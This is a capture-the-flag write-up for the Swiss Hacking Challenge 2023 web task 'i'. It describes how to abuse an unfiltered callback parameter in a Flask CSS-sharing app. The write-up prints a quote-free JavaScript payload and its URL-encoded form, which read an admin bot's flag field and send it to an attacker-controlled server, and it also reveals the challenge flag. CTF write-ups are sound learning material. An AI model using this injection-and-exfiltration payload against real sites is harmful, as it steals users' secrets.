Swiss Hacking Challenge 2023 - i
Information
Challenge category: web
Challenge Description
iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii
Files
We are given an i.zip
file and we can access a running instance.
Analysis
ii ii iiii iiii iiii ii iiiiii, iiiii’ii iii’i iiiiiiiii iiiiiiiiiiiiii iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii. iii? iiii, iiiiiii iii ii. Just kidding. Not funny, I know.
i
is a page where we can upload our own CSS that is then loaded into the page.
Flask routes
According to the source code we have the following interesting routes
/bot
: Starts a bot that will provide us the flag later on (Parameters:url
)/update_style
: Update the users CSS (Parameters:style
)/get_style
: Returns a users style (Parameters:share_id
andcallback
, which defaults toUpdateStyle
)
The most interesting part might be the callback
parameter in /get_style
. We can supply any JavaScript function in there, however the client side JavaScript escapes the following characters:
["`", "+", "<", ">", "'", '"', "%"]
The /bot
runs bot.js
which is a puppeteer
instance that does the following:
- Navigate to
/login
- Login as admin
- Go to the dashboard to check if the login worked
- Open the user supplied URL
- Fill in the
flag
input with the flag
If we can somehow inject JavaScript into our CSS snippet and use the callback function to run it we can extract the flag.
Exploitation
We can’t use any quotes inside of our callback function. If we want to read the flag input field and send it to a server, we have to get creative.
What we basically want is the following (without quotes):
data = document.getElementById("flag").value;
fetch(`http://our-webserver/?flag=${data}`)
The function gets our CSS code as a parameter so we have to put two pieces of information in there: the id of flag
and our webserver URL.
I built this custom (very ugly) JS function:
function x(y) {
data=document.getElementById(y.slice(<URL LENGTH>)).value;
fetch(y.slice(0,<URL LENGTH>).concat(data));
}x
We can then set our CSS to something like that:
https://your-website/?flag=flag
Note that the last flag
will be used to identify the flag element and is not part of the URL.
After setting the CSS to our string data, we can prepare the URL for the /bot
call, basically the function above but URL encoded:
/share?share_id=<SHARE_ID>&callback=function%20x%28y%29%20%7B%20%0Adata%20%3D%20document.getElementById%28y.slice%28<URL LENGTH>%29%29.value%3B%20fetch%28y.slice%280%2C<URL LENGTH>%29.concat%28data%29%29%0A%7Dx
We can then submit this URL for the bot and we should get the flag.
Flag
The flag is: shc2023{l3ak1ngsecrets}
Conclusion
Had some issues with character encoding and working around the string limitation but it was a very fun challenge to solve.